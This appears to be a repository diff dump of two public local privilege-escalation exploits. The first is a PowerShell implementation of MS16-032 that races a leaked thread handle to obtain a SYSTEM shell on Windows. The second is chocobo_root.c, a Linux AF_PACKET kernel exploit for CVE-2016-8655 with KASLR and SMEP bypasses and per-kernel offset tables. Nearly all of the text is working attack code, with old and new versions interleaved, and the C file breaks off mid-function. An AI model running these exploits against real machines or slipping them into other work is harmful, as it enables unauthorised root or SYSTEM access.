int XWithdrawWindow = 0;
int overrideShellWidgetClass = 0;
Binary file not shown.
+364 -340
View File
@@ -1,347 +1,371 @@
# Copyright (c) 2016, Ruben Booren (@FuzzySec)
# All rights reserved
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
#function Invoke-MS16-032 {
<#
.SYNOPSIS
PowerShell implementation of MS16-032. The exploit targets all vulnerable
operating systems that support PowerShell v2+. Credit for the discovery of
the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
Targets:
* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
* Tested on x32 Win7, x64 Win8, x64 2k12R2
Notes:
* In order for the race condition to succeed the machine must have 2+ CPU
cores. If testing in a VM just make sure to add a core if needed mkay.
* Want to know more about MS16-032 ==>
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
[DllImport("ntdll.dll", SetLastError=true)]
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
Blog: http://www.fuzzysecurity.com/
License: BSD 3-Clause
Required Dependencies: PowerShell v2+
Optional Dependencies: None
.EXAMPLE
C:\PS> Invoke-MS16-032
#>
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
[DllImport("ntdll.dll", SetLastError=true)]
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
"@
function Get-ThreadHandle {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -ErrorAction SilentlyContinue -Verbose).FullName
function Get-ThreadHandle {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "C:\Windows\System32\cmd.exe", "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
$lpTargetHandle = [IntPtr]::Zero
$CallResult = [Kernel32]::DuplicateHandle(
$ProcessInfo.hProcess, 0x4,
[Kernel32]::GetCurrentProcess(),
[ref]$lpTargetHandle, 0, $false,
0x00000002)
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
$lpTargetHandle
}
function Get-SystemToken {
echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)"
$CallResult = [Kernel32]::SuspendThread($hThread)
if ($CallResult -ne 0) {
echo "[!] $hThread is a bad thread, exiting.."
Return
} echo "[+] Thread suspended"
echo "[>] Wiping current impersonation token"
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero)
if (!$CallResult) {
echo "[!] SetThreadToken failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
echo "[>] Building SYSTEM impersonation token"
# SecurityQualityOfService struct
$SQOS = New-Object SQOS
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
# Undocumented API's, I like your style Microsoft ;)
$CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos)
if ($CallResult -ne 0) {
echo "[!] NtImpersonateThread failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
# Null $SysTokenHandle
$script:SysTokenHandle = [IntPtr]::Zero
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
$CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle)
if (!$CallResult) {
echo "[!] OpenThreadToken failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
echo "[+] Resuming thread.."
$CallResult = [Kernel32]::ResumeThread($hThread)
}
# main() <--- ;)
$ms16032 = @"
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
"@
$ms16032
# Check logical processor count, race condition requires 2+
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
if ($([System.Environment]::ProcessorCount) -lt 2) {
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
Return
}
echo "[>] Duplicating CreateProcessWithLogonW handle"
$hThread = Get-ThreadHandle
# If no thread handle is captured, the box is patched
if ($hThread -eq 0) {
echo "[!] No valid thread handle was captured, exiting!`n"
Return
} else {
echo "[?] Done, using thread handle: $hThread"
} echo "`n[*] Sniffing out privileged impersonation token.."
# Get handle to SYSTEM access token
Get-SystemToken
# If we fail a check in Get-SystemToken, exit
if ($SysTokenHandle -eq 0) {
Return
}
echo "`n[*] Sniffing out SYSTEM shell.."
echo "`n[>] Duplicating SYSTEM token"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
# Simple PS runspace definition
echo "[>] Starting token race"
$Runspace = [runspacefactory]::CreateRunspace()
$StartTokenRace = [powershell]::Create()
$StartTokenRace.runspace = $Runspace
$Runspace.Open()
[void]$StartTokenRace.AddScript({
Param ($hThread, $hDuplicateTokenHandle)
while ($true) {
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle)
}
}).AddArgument($hThread).AddArgument($hDuplicateTokenHandle)
$AscObj = $StartTokenRace.BeginInvoke()
echo "[>] Starting process race"
# Adding a timeout (10 seconds) here to safeguard from edge-cases
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
$path1 = $env:windir
$path1 = "$path1\System32\cmd.exe"
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, $path1, "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, $cmd, $args1,
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
#---
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
#---
# Missing this check used to cause the exploit to fail sometimes.
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
# reliable now!
#---
if (!$CallResult) {
continue
}
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
# If we can't open the process token it's a SYSTEM shell!
if (!$CallResult) {
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
echo "$end"
Return
}
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
$lpTargetHandle = [IntPtr]::Zero
$CallResult = [Kernel32]::DuplicateHandle(
$ProcessInfo.hProcess, 0x4,
[Kernel32]::GetCurrentProcess(),
[ref]$lpTargetHandle, 0, $false,
0x00000002)
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
$lpTargetHandle
}
function Get-SystemToken {
echo "`n[?] Trying thread handle: $Thread"
echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
$CallResult = [Kernel32]::SuspendThread($Thread)
if ($CallResult -ne 0) {
echo "[!] $Thread is a bad thread, moving on.."
Return
} echo "[+] Thread suspended"
echo "[>] Wiping current impersonation token"
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
if (!$CallResult) {
echo "[!] SetThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
echo "[>] Building SYSTEM impersonation token"
# SecurityQualityOfService struct
$SQOS = New-Object SQOS
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
# Undocumented API's, I like your style Microsoft ;)
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
if ($CallResult -ne 0) {
echo "[!] NtImpersonateThread failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
$script:SysTokenHandle = [IntPtr]::Zero
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
if (!$CallResult) {
echo "[!] OpenThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
echo "[+] Resuming thread.."
$CallResult = [Kernel32]::ResumeThread($Thread)
}
# main() <--- ;)
# Check logical processor count, race condition requires 2+
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
if ($([System.Environment]::ProcessorCount) -lt 2) {
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
Return
}
# Create array for Threads & TID's
$ThreadArray = @()
$TidArray = @()
echo "[>] Duplicating CreateProcessWithLogonW handles.."
# Loop 1 is fine, this never fails unless patched in which case the handle is 0
for ($i=0; $i -lt 1; $i++) {
$hThread = Get-ThreadHandle
$hThreadID = [Kernel32]::GetThreadId($hThread)
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
if ($TidArray -notcontains $hThreadID) {
$TidArray += $hThreadID
if ($hThread -ne 0) {
$ThreadArray += $hThread # This is what we need!
}
}
}
if ($($ThreadArray.length) -eq 0) {
echo "[!] No valid thread handles were captured, exiting!"
Return
} else {
echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
echo "`n[?] Thread handle list:"
$ThreadArray
}
echo "`n[*] Sniffing out privileged impersonation token.."
foreach ($Thread in $ThreadArray){
# Get handle to SYSTEM access token
Get-SystemToken
echo "`n[*] Sniffing out SYSTEM shell.."
echo "`n[>] Duplicating SYSTEM token"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
# Simple PS runspace definition
echo "[>] Starting token race"
$Runspace = [runspacefactory]::CreateRunspace()
$StartTokenRace = [powershell]::Create()
$StartTokenRace.runspace = $Runspace
$Runspace.Open()
[void]$StartTokenRace.AddScript({
Param ($Thread, $hDuplicateTokenHandle)
while ($true) {
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
}
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
$AscObj = $StartTokenRace.BeginInvoke()
echo "[>] Starting process race"
# Adding a timeout (10 seconds) here to safeguard from edge-cases
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, $cmd, $args1,
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
#---
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
#---
# Missing this check used to cause the exploit to fail sometimes.
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
# reliable now!
#---
if (!$CallResult) {
continue
}
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
# If we can't open the process token it's a SYSTEM shell!
if (!$CallResult) {
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
Return
}
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
}
# Kill runspace & stopwatch if edge-case
$StartTokenRace.Stop()
$SafeGuard.Stop()
}
exit
}
# Kill runspace & stopwatch if edge-case
$StartTokenRace.Stop()
$SafeGuard.Stop()
#}
Binary file not shown.
Binary file not shown.
Binary file not shown.
+142 -104
View File
@@ -1,7 +1,7 @@
/*
chocobo_root.c
linux AF_PACKET race condition exploit for CVE-2016-8655.
Includes KASLR and SMEP/SMAP bypasses.
Includes KASLR and SMEP bypasses. No SMAP bypass.
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
All kernel offsets have been tested on Ubuntu / Linux Mint.
@@ -11,7 +11,7 @@ user@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread -Wall
user@ubuntu:~$ ./chocobo_root
linux AF_PACKET race condition exploit by rebel
kernel version: 4.4.0-51-generic #72
@@ -75,7 +75,7 @@ Updated by <bcoles@gmail.com>
- check number of CPU cores
- KASLR bypasses
- additional kernel targets
https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
https://github.com/bcoles/kernel-exploits/tree/master/CVE-2016-8655
*/
#define _GNU_SOURCE
@@ -85,13 +85,13 @@ https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/if_packet.h>
#include <netinet/in.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/types.h>
@@ -102,12 +102,6 @@ https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
#include <sys/utsname.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/sched.h>
#include <netinet/tcp.h>
#include <netinet/if_ether.h>
#define DEBUG
#ifdef DEBUG
@@ -116,9 +110,18 @@ https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
# define dprintf
#endif
#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SYSTEM_CHECKS 1
#define ENABLE_KASLR_BYPASS 1
// Will be overwritten if ENABLE_KASLR_BYPASS
#if ENABLE_KASLR_BYPASS
# define KERNEL_BASE_MIN 0xffffffff00000000ul
# define KERNEL_BASE_MAX 0xffffffffff000000ul
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
# define ENABLE_KASLR_BYPASS_SYSLOG 1
# define ENABLE_KASLR_BYPASS_MINCORE 1
#endif
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1)
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_versions()
@@ -131,6 +134,7 @@ const char *SYSCTL_PATH = "/proc/sys/hack";
volatile int barrier = 1;
volatile int vers_switcher_done = 0;
// kernel target struct
struct kernel_info {
char *kernel_version;
unsigned long proc_dostring;
@@ -139,6 +143,7 @@ struct kernel_info {
unsigned long set_memory_rw;
};
// Targets
struct kernel_info kernels[] = {
{ "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 },
{ "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 },
@@ -170,6 +175,16 @@ struct kernel_info kernels[] = {
{ "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 },
//{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320},
{ "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320},
{ "4.4.0-21-lowlatency #37-Ubuntu", 0x88960, 0xe48e80, 0x28c3a0, 0x6fae0 },
{ "4.4.0-22-lowlatency #40-Ubuntu", 0x889c0, 0xe48f00, 0x28c570, 0x6fae0 },
{ "4.4.0-24-lowlatency #43-Ubuntu", 0x88ae0, 0xe48f00, 0x28c9a0, 0x6fae0 },
{ "4.4.0-28-lowlatency #47-Ubuntu", 0x88b20, 0xe48f80, 0x28ce20, 0x6fae0 },
{ "4.4.0-31-lowlatency #50-Ubuntu", 0x88b20, 0xe48f80, 0x28cf10, 0x6fae0 },
{ "4.4.0-34-lowlatency #53-Ubuntu", 0x88b20, 0xe48f80, 0x28cf50, 0x6fae0 },
{ "4.4.0-36-lowlatency #55-Ubuntu", 0x88b00, 0xe48f80, 0x28cf30, 0x6fad0 },
{ "4.4.0-38-lowlatency #57-Ubuntu", 0x88bd0, 0xe48f80, 0x28d580, 0x6fad0 },
{ "4.4.0-42-lowlatency #62-Ubuntu", 0x88c30, 0xe48f80, 0x28d5b0, 0x6faa0 },
};
#define VSYSCALL 0xffffffffff600000
@@ -202,6 +217,7 @@ struct tpacket_req3 tp;
int sfd;
int mapped = 0;
// timer_list struct defined in: include/linux/timer.h
struct timer_list {
void *next;
void *prev;
@@ -255,6 +271,10 @@ void *vers_switcher(void *arg)
#define BUFSIZE 1408
char exploitbuf[BUFSIZE];
#ifndef ETH_P_ARP
# define ETH_P_ARP 0x0806
#endif
void kmalloc(void)
{
while(1)
@@ -266,7 +286,7 @@ void pad_kmalloc(void)
int x;
for (x = 0; x < KMALLOC_PAD; x++)
if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) {
dprintf("[-] pad_kmalloc() socket error\n");
dprintf("[-] pad_kmalloc() socket error: %m\n");
exit(EXIT_FAILURE);
}
}
@@ -289,7 +309,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
sigaddset(&set, SIGSEGV);
if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
dprintf("[-] couldn't set sigmask\n");
dprintf("[-] couldn't set sigmask: %m\n");
exit(1);
}
@@ -300,7 +320,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (fd == -1) {
dprintf("[-] target socket error\n");
dprintf("[-] target socket error: %m\n");
exit(1);
}
@@ -324,7 +344,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
sfd = fd;
if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
dprintf("[-] Error creating thread\n");
dprintf("[-] Error creating thread: %m\n");
return 1;
}
@@ -360,7 +380,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
if (pbd == MAP_FAILED) {
dprintf("[-] could not map pbd\n");
dprintf("[-] could not map pbd: %m\n");
exit(1);
} else {
off = pbd->hdr.bh1.offset_to_first_pkt;
@@ -415,13 +435,13 @@ void *modify_vsyscall(void *arg)
sigaddset(&set, SIGSEGV);
if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
dprintf("[-] couldn't set sigmask\n");
dprintf("[-] couldn't set sigmask: %m\n");
exit(EXIT_FAILURE);
}
signal(SIGSEGV, catch_sigsegv);
*vsyscall = 0xdeadbeef+x;
*vsyscall = 0xdeadbeef + x;
if (*vsyscall == 0xdeadbeef+x) {
dprintf("[~] vsyscall page altered!\n");
@@ -449,7 +469,7 @@ void verify_stage1(void)
exit(0);
}
write(2,".",1);
write(2, ".", 1);
sleep(1);
}
@@ -471,7 +491,7 @@ void verify_stage2(void)
exit(0);
}
write(2,".",1);
write(2, ".", 1);
sleep(1);
}
@@ -548,7 +568,29 @@ void wrapper(void)
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
void check_procs() {
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (1) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define PROC_CPUINFO_LENGTH 4096
void check_env() {
int min_procs = 2;
int nprocs = 0;
@@ -559,7 +601,24 @@ void check_procs() {
exit(EXIT_FAILURE);
}
dprintf("[.] system has %d processor cores\n", nprocs);
char buffer[PROC_CPUINFO_LENGTH];
char* path = "/proc/cpuinfo";
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
